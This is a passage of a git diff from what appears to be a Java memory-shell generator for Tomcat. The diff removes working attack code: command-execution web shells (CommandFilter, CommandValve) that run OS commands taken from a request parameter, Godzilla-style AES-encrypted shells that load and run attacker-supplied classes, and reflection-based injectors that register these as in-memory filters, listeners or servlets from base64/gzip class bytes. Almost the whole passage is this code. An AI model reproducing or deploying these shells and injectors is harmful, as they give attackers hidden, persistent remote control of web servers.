servletInvocationClass.getMethod("getContextRequest").invoke(null); - Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]); - if (webApp != null) { - contexts.add(webApp); - } - } - } - } catch (Exception e) { - // Handle exception - } - return Arrays.asList(contexts.toArray()); - } - - private Object getListener(Object context) { - Object listener = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - try { - listener = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - listener = clazz.newInstance(); - } catch (Throwable tt) { - } - } - return listener; - } - - public boolean isInjected(Object context, String evilClassName) throws Exception { - List arrayList = (ArrayList) getFV(context, "_requestListeners"); - for (Object o : arrayList) { - if (o.getClass().getName().contains(evilClassName)) { - return true; - } - } - return false; - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilter.java deleted file mode 100644 index bad0e37c..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilter.java +++ /dev/null @@ -1,48 +0,0 @@ -package com.reajason.javaweb.memsell.tomcat.command; - -import javax.servlet.*; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.IOException; -import java.io.InputStream; - -/** - * @author ReaJason - * @since 2024/11/24 - */ -public class CommandFilter implements Filter { - public String paramName = "{{paramName}}"; - - @Override - public void init(FilterConfig filterConfig) throws ServletException { - - } - - @Override - public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { - HttpServletRequest servletRequest = (HttpServletRequest) request; - HttpServletResponse servletResponse = (HttpServletResponse) response; - String cmd = servletRequest.getParameter(paramName); - try { - if (cmd != null) { - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } else { - chain.doFilter(servletRequest, servletResponse); - } - } catch (Exception e) { - chain.doFilter(servletRequest, servletResponse); - } - } - - @Override - public void destroy() { - - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandValve.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandValve.java deleted file mode 100644 index d09f48fa..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandValve.java +++ /dev/null @@ -1,62 +0,0 @@ -package com.reajason.javaweb.memsell.tomcat.command; - -import org.apache.catalina.Valve; -import org.apache.catalina.connector.Request; -import org.apache.catalina.connector.Response; - -import javax.servlet.ServletException; -import javax.servlet.ServletOutputStream; -import java.io.IOException; -import java.io.InputStream; - -/** - * @author ReaJason - */ -public class CommandValve implements Valve { - public String paramName = "{{paramName}}"; - protected Valve next; - protected boolean asyncSupported; - - public CommandValve() { - } - - @Override - public Valve getNext() { - return this.next; - } - - @Override - public void setNext(Valve valve) { - this.next = valve; - } - - @Override - public boolean isAsyncSupported() { - return this.asyncSupported; - } - - @Override - public void backgroundProcess() { - } - - @Override - public void invoke(Request request, Response response) throws IOException, ServletException { - try { - String cmd = request.getParameter(paramName); - if (cmd != null) { - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = response.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } else { - this.getNext().invoke(request, response); - } - } catch (Exception e) { - this.getNext().invoke(request, response); - } - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java deleted file mode 100644 index d2ad1ba0..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java +++ /dev/null @@ -1,127 +0,0 @@ -package com.reajason.javaweb.memsell.tomcat.godzilla; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.*; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.io.IOException; - -/** - * @author ReaJason - */ -public class GodzillaFilter extends ClassLoader implements Filter { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; - - public GodzillaFilter() { - } - - public GodzillaFilter(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var4) { - return null; - } - } - - @Override - @SuppressWarnings("all") - public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { - HttpServletRequest request = (HttpServletRequest) servletRequest; - HttpServletResponse response = (HttpServletResponse) servletResponse; - try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f; - try { - f = ((Class) session.getAttribute("payload")).newInstance(); - } catch (InstantiationException | IllegalAccessException e) { - throw new RuntimeException(e); - } - f.equals(arrOut); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - } - - } else { - chain.doFilter(servletRequest, servletResponse); - } - } catch (Exception e) { - chain.doFilter(servletRequest, servletResponse); - } - } - - @Override - public void init(FilterConfig filterConfig) throws ServletException { - } - - @Override - public void destroy() { - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValve.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValve.java deleted file mode 100644 index 78b01ca3..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValve.java +++ /dev/null @@ -1,137 +0,0 @@ -package com.reajason.javaweb.memsell.tomcat.godzilla; - -import org.apache.catalina.Valve; -import org.apache.catalina.connector.Request; -import org.apache.catalina.connector.Response; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletException; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.io.IOException; - -/** - * @author ReaJason - */ -public class GodzillaValve extends ClassLoader implements Valve { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; - protected Valve next; - protected boolean asyncSupported; - - public GodzillaValve() { - } - - public GodzillaValve(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object Encoder = base64.newInstance(); - value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); - } catch (Exception var5) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception var5) { - } - } - return value; - } - - @SuppressWarnings("all") - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var4) { - return null; - } - } - - @Override - public Valve getNext() { - return this.next; - } - - @Override - public void setNext(Valve valve) { - this.next = valve; - } - - @Override - public boolean isAsyncSupported() { - return this.asyncSupported; - } - - @Override - public void backgroundProcess() { - } - - @Override - @SuppressWarnings("all") - public void invoke(Request request, Response response) throws IOException, ServletException { - try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new GodzillaValve(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) session.getAttribute("payload")).newInstance(); - f.equals(arrOut); - f.equals(data); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - response.flushBuffer(); - } - } else { - this.getNext().invoke(request, response); - } - } catch (Exception e) { - e.printStackTrace(); - this.getNext().invoke(request, response); - } - - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java deleted file mode 100644 index 0eec1049..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java +++ /dev/null @@ -1,276 +0,0 @@ -package com.reajason.javaweb.memsell.tomcat.injector; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; -import java.util.zip.GZIPInputStream; - -/** - * Date: 2022/11/01 - * Author: pen4uin - * Description: Tomcat Filter 注入器 Tested version: jdk v1.8.0_275 - * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67 - */ -public class TomcatFilterInjector { - - static { - new TomcatFilterInjector(); - } - - public TomcatFilterInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object filter = getFilter(context); - addFilter(context, filter); - } - } catch (Exception e) { - System.out.println("filter inject get context error"); - e.printStackTrace(); - } - } - - static byte[] decodeBase64(String base64Str) throws Exception { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream gzipInputStream = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = gzipInputStream.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (Method value : methods) { - if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) { - method = value; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - - public String getUrlPattern() { - return "{{urlPattern}}"; - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() { - return "{{base64Str}}"; - } - - @SuppressWarnings("all") - public Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - Object context = null; - try { - for (Thread thread : threads) { - // 适配 v5/v6/7/8 - if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { - HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); - // 原: map.get("localhost") - // 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败 - for (Object key : childrenMap.keySet()) { - HashMap children = (HashMap) getFieldValue(childrenMap.get(key), "children"); - // 原: context = children.get(""); - // 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败 - for (Object key1 : children.keySet()) { - context = children.get(key1); - if (context != null && context.getClass().getName().contains("StandardContext")) { - contexts.add(context); - } - // 兼容 spring boot 2.x embedded tomcat - if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { - contexts.add(context); - } - } - } - } - // 适配 tomcat v9 - else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { - context = getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"); - if (context != null && context.getClass().getName().contains("StandardContext")) { - contexts.add(context); - } - if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { - contexts.add(context); - } - } - } - } catch (Exception e) { - throw new RuntimeException(e); - } - return contexts; - } - - private Object getFilter(Object context) { - Object filter = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - try { - filter = classLoader.loadClass(getClassName()); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - filter = clazz.newInstance(); - } catch (Throwable e1) { - e1.printStackTrace(); - } - } - return filter; - } - - @SuppressWarnings("all") - public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException { - String filterClassName = getClassName(); - Object filterDef; - Object filterMap; - - // 防止重复注入 - try { - if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) { - System.out.println("filter alread injected"); - return; - } - } catch (Exception ignored) { - } - - try { - // tomcat v8/9 - filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); - filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); - } catch (Exception e2) { - // tomcat v6/7 - try { - filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); - filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); - } catch (Exception e) { - // tomcat v5 - filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, context.getClass().getClassLoader()).newInstance(); - filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, context.getClass().getClassLoader()).newInstance(); - } - } - try { - invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); - invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); - Constructor[] constructors; - try { - invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); - constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); - } catch (Exception e) { - // tomcat v5 - invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); - constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, context.getClass().getClassLoader()).getDeclaredConstructors(); - } - try { - // v7.0.0 以上 - invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } catch (Exception e) { - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } - System.out.println("filter inject success"); - constructors[0].setAccessible(true); - try { - Object filterConfig = constructors[0].newInstance(context, filterDef); - Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); - filterConfigs.put(filterClassName, filterConfig); - } catch (Exception e) { - // 一个 tomcat 多个应用部分应用通过上下文线程加载 filter 对象,可能在目标应用会加载不到 - if (!(e.getCause() instanceof ClassNotFoundException)) { - throw e; - } - } - } catch (Exception e) { - e.printStackTrace(); - } - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjector.java deleted file mode 100644 index bbffb83e..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjector.java +++ /dev/null @@ -1,248 +0,0 @@ -package com.reajason.javaweb.memsell.tomcat.injector; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.HashMap; -import java.util.List; -import java.util.zip.GZIPInputStream; - -/** - * Tomcat Listener 注入器 - * 测试版本: - * jdk v1.8.0_275 - * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67 - * - * @author pen4uin, ReaJason - */ -public class TomcatListenerInjector { - - static { - new TomcatListenerInjector(); - } - - public TomcatListenerInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object listener = getListener(context); - addListener(context, listener); - } - } catch (Exception ignored) { - } - } - - @SuppressWarnings("all") - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - @SuppressWarnings("all") - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - @SuppressWarnings("all") - static Object getFV(Object obj, String fieldName) throws Exception { - try { - Field field = getF(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } catch (Exception e) { - return null; - } - } - - static Field getF(Object obj, String fieldName) throws NoSuchFieldException { - Class clazz = obj.getClass(); - while (clazz != null) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException e) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(fieldName); - } - - public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { - Field field = getF(obj, fieldName); - field.set(obj, value); - } - - static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - @SuppressWarnings("all") - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (int i = 0; i < methods.length; i++) { - if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { - method = methods[i]; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() { - return "{{base64Str}}"; - } - - @SuppressWarnings("all") - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - Object context = null; - try { - for (Thread thread : threads) { - // 适配 v5/v6/7/8 - if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { - HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); - // 原: map.get("localhost") - // 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败 - for (Object key : childrenMap.keySet()) { - HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); - // 原: context = children.get(""); - // 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败 - for (Object key1 : children.keySet()) { - context = children.get(key1); - if (context != null && context.getClass().getName().contains("StandardContext")) { - contexts.add(context); - } - // 兼容 spring boot 2.x embedded tomcat - if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { - contexts.add(context); - } - } - } - } - // 适配 tomcat v9 - else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { - context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context"); - if (context != null && context.getClass().getName().contains("StandardContext")) { - contexts.add(context); - } - if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { - contexts.add(context); - } - } - } - } catch (Exception e) { - throw new RuntimeException(e); - } - return contexts; - } - - private Object getListener(Object context) { - Object listener = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - try { - listener = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - listener = clazz.newInstance(); - } catch (Throwable ignored) { - } - } - return listener; - } - - @SuppressWarnings("all") - public void addListener(Object context, Object listener) throws Exception { - if (!isInjected(context, listener.getClass().getName())) { - Object applicationEventListenersObjects = getFV(context, "applicationEventListenersObjects"); - if (applicationEventListenersObjects != null) { - Object[] appListeners = (Object[]) applicationEventListenersObjects; - if (appListeners != null) { - List appListenerList = new ArrayList(Arrays.asList(appListeners)); - appListenerList.add(listener); - setFieldValue(context, "applicationEventListenersObjects", appListenerList.toArray()); - } - } else if (getFV(context, "applicationEventListenersList") != null) { - List appListeners = (List) getFV(context, "applicationEventListenersList"); - if (appListeners != null) { - appListeners.add(listener); - } - } - } - } - - @SuppressWarnings("all") - public boolean isInjected(Object context, String evilClassName) throws Exception { - Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners"); - List listeners = Arrays.asList(objects); - ArrayList arrayList = new ArrayList(listeners); - for (Object o : arrayList) { - if (o.getClass().getName().contains(evilClassName)) { - return true; - } - } - return false; - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatServletInjector.java deleted file mode 100644 index cbdce602..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatServletInjector.java +++ /dev/null @@ -1,301 +0,0 @@ -package com.reajason.javaweb.memsell.tomcat.injector; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.lang.reflect.*; -import java.util.*; -import java.util.zip.GZIPInputStream; - -/** - * @author ReaJason - * @since 2024/12/15 - */ -public class TomcatServletInjector { - static { - new TomcatServletInjector(); - } - - public TomcatServletInjector() { - try { - List contexts = getContext(); - for (Object context : contexts) { - Object servlet = getServlet(context); - if (servlet == null) { - continue; - } - addServlet(context, servlet); - } - } catch (Exception e) { - e.printStackTrace(); - } - } - - @SuppressWarnings("all") - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - @SuppressWarnings("all") - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - @SuppressWarnings("all") - static Object getFV(Object obj, String fieldName) throws Exception { - try { - Field field = getF(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } catch (Exception e) { - return null; - } - } - - static Field getF(Object obj, String fieldName) throws NoSuchFieldException { - Class clazz = obj.getClass(); - while (clazz != null) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException e) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(fieldName); - } - - public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { - Field field = getF(obj, fieldName); - 